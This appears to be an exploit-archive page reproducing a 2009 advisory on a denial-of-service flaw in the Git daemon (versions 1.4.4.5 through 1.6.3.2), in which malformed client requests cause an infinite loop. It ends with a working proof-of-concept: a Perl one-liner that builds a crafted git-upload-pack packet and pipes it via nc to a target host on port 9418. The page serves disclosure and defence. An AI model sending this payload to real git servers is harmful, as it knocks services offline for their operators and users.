Lucene search

K
exploitpackShawn O. PearceEXPLOITPACK:3CB866F180520A505296D7F2F7452B64
HistoryMay 05, 2009 - 12:00 a.m.

Git 1.6.3 - Parameter Processing Remote Denial of Service

2009-05-0500:00:00
Shawn O. Pearce
6

Git 1.6.3 - Parameter Processing Remote Denial of Service

source: https://www.securityfocus.com/bid/35338/info


Git is prone to a denial-of-service vulnerability because it fails to properly handle some client requests.

Attackers can exploit this issue to cause a daemon process to enter an infinite loop. Repeated exploits may consume excessive system resources, resulting in a denial-of-service condition.

Git 1.4.4.5 through 1.6.3.2 are vulnerable; other versions may also be affected.

$ perl -e '
$s="git-upload-pack git\0user=me\0host=localhost\0";
printf "%4.4x%s",4+length $s,$s
' | nc $GITHOST 9418